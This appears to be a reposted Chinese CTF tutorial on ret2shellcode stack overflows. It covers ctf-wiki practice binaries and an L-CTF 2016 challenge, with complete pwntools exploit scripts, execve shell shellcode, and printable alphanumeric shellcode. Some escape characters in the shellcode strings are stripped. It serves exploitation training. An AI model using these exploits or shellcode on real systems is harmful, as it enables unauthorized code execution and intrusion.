红颜祸 千般柔情 相思难解两相若
蝶恋花 几经浮沉 枯骨终是化飞沙
简介
ret2shellcode顾名思义,就是return to shellcode,即让程序中某个函数执行结束后,返回到shellcode的地址去执行shellcode,得到system(sh)的效果;ret2shellcode是栈溢出中一种简单而且常规的操作,当配合ROP等技术的使用后,非常有用
利用条件
ret2shellcode的局限性在于,我们存放shellcode的这个地址内存页是标识为可执行,即通常情况下我们checksec程序是NX保护就关闭的,否则当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令
常用的shellcode有:
1
2shellcode = "x31xf6x48xbbx2fx62x69x6ex2fx2fx73x68x56x53x54x5fx6ax3bx58x31xd2x0fx05"
这个shellcode只有23个字节,短小精悍,适合放在栈中去执行
还有一种是通过pwntools生成:
1
2
3from pwn import * shellcode=asm(shellcraft.sh())
这个shellcode是44个字节;当然如果能力够,也可以自己去写
实例1
ctf-wiki里面的两道:https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/stackoverflow/ret2shellcode
先看第一道ret2shellcode.c源码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20#include <stdio.h> #include <string.h> char buf2[100]; int main(void) { setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 1, 0LL); char buf[100]; printf("No system for you this time !!!n"); gets(buf); //这里明显有溢出点 strncpy(buf2, buf, 100); printf("bye bye ~"); return 0; }
先看看程序的保护机制开了什么:
1
2
3
4
5
6
7
8
9root@sir-PC:/ret2shellcode-example# checksec ret2shellcode [*] '/ret2shellcode-example/ret2shellcode' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments
显然NX保护是关闭的,而源码中可以看到有一个长度为100的buf2,又因为PIE保护还是没有开,所以我们只需要找到溢出的字节和buf2的地址,然后将shellcode放在buf2中,然后将返回地址修改为buf2的地址就行了,需要注意的是这里buf2是全局变量,在bss段的位置上;
EXP1
1
2
3
4
5
6
7
8
9
10
11
12from pwn import * p = process('./ret2shellcode') context.log_level = 'debug' buf2_addr = 0x804a080 if args.G: gdb.attach(p) shellcode=asm(shellcraft.sh()) x = shellcode.ljust(112,'a') p.recvuntil('No system for you this time !!!n') p.sendline(x + p32(buf2_addr)) p.interactive()
实例2
再看第二道shellcode.c源码:
1
2
3
4
5
6
7
8
9
10
11
12
13#include <stdio.h> #include <unistd.h> int main(){ char buffer[0x10] = {0}; setvbuf(stdout, NULL, _IOLBF, 0); printf("Welcome to Sniperoj!n"); printf("Do your kown what is it : [%p] ?n", buffer); printf("Now give me your answer : n"); read(0, buffer, 0x40); //这里同样有溢出 return 0; }
需要注意的是这里的buffer只有16个字节,而且属于局部变量,在栈的位置上
查看程序的保护机制:
1
2
3
4
5
6
7
8
9root@sir-PC:/sniperoj-pwn100-shellcode-x86-64# checksec shellcode [*] '/sniperoj-pwn100-shellcode-x86-64/shellcode' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: PIE enabled RWX: Has RWX segments
这里同样没有开NX保护,但是开了PIE,不过这个PIE开不开都没影响,因为程序中打印出了buffer在栈的地址了
通过ida查看:
1
2
3__int64 buf; // [sp+0h] [bp-10h]@1 read(0, &buf, 0x40uLL);
可以知道buf相对于ebp的偏移为0x10,所以其可用的shellcode空间为16+8=24字节,我们有长度为23的shellcode,但是因为其本身是有push指令的,如果我们把shellcode放在返回地址的前面,在程序leave的时候会破坏shellcode,所以我们将其放在后面,即payload为:
1
2'b'*24+[buf_addr+32]+shellcode
这里的32是24字节的填充数据长度加返回地址长度
EXP2
1
2
3
4
5
6
7
8
9
10
11from pwn import * p = process('./shellcode') context.log_level = 'debug' p.recvuntil('[') buf_addr = p.recvuntil(']', drop=True) print buf_addr p.recvuntil('Now give me your answer') shell="x31xf6x48xbbx2fx62x69x6ex2fx2fx73x68x56x53x54x5fx6ax3bx58x31xd2x0fx05" p.sendline('a'*24 + p64(int(buf_addr,16)+32) + shell) p.interactive()
小结
放shellcode的地址一定要已知并且有执行的权限,注意不要在运行的过程中破坏了shellcode
L-CTF 2016 pwn200
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28from pwn import * context.log_level = 'debug' context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c'] name = './pwn200' p = process(name) if args.G: gdb.attach(p) p.recvuntil("who are u?n") shellcode = "x31xf6x48xbbx2fx62x69x6ex2fx2fx73x68x56x53x54x5fx6ax3bx58x31xd2x0fx05" shellcode += (44-len(shellcode))*'a' + 'b'*4 p.send(shellcode) p.recvuntil("bbbb") ebp_addr = u64(p.recv(6)+'x00x00') success("ebp_addr: " + hex(ebp_addr)) p.recvuntil("give me your id ~~?n") p.sendline("64") p.recvuntil("give me money~n") payload = p64(ebp_addr-0x50) payload += (56-len(payload))*'a' + p64(0x602060) p.send(payload) p.recvuntil('your choice : ') p.sendline("1") p.interactive()
可打印字符shellcode
32位
1
2PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIRJ4K68J90RCXVO6O43E82HVOE2SYBNMYKS01XIHMMPAA
ShellCode开始执行那一刻,EAX寄存器保存了ShellCode的基地址:
1
2PYVTX10X41PZ41H4A4I1TA71TADVTZ32PZNBFZDQC02DQD0D13DJE1D485C3E1YKM6L7L0 60Y011T2OKO2B5NJO90MM9M3I00
64位
1
2PPTAYAXVI31VXXXf-cof-@Hf-@HPZTAYAXVI31VXPP[_Hc4:14:SX-@(t3-P `_58</_P^14:WX-~[w_-?ah,-?C tP_Hc4:14:SX-q;@A-pE A5Wp09P^14:WX-~[w_-?ah,-?C tP_Hc4:14:SX-$Ht -_`l 5O_W6P^14:WX-~[w_-?ah,-?C tP_Hc4:14:SX-@"3@-A` 5{G/XP^14:WX-~[w_-?ah,-?C tP_Hc4:14:SX-@&Fa-P" A5x4_MP^14:WX-~[w_-?ah,-?C tP_Hc4:14:SX- " - @~@5E_*wP^14:WX-~[w_-?ah,-?C tP_SX- H#B- x^~5X>~?P_Hc4:14:SX-"* -E6 5f}//P^14:WX-~[w_-?ah,-?C tP_SX- A""- ?~~5~__P^SX-@@@"-y``~5____P_AAAAA5SWZ%%.H>#dmn+sATbRLad:hFTHKcL5Acy4:y1vI6: O:;<;wb['2 @p}Y;tc
最后
以上就是傻傻月亮最近收集整理的关于Ret2ShellCodeL-CTF 2016 pwn200可打印字符shellcode的全部内容,更多相关Ret2ShellCodeL-CTF内容请搜索靠谱客的其他文章。
发表评论 取消回复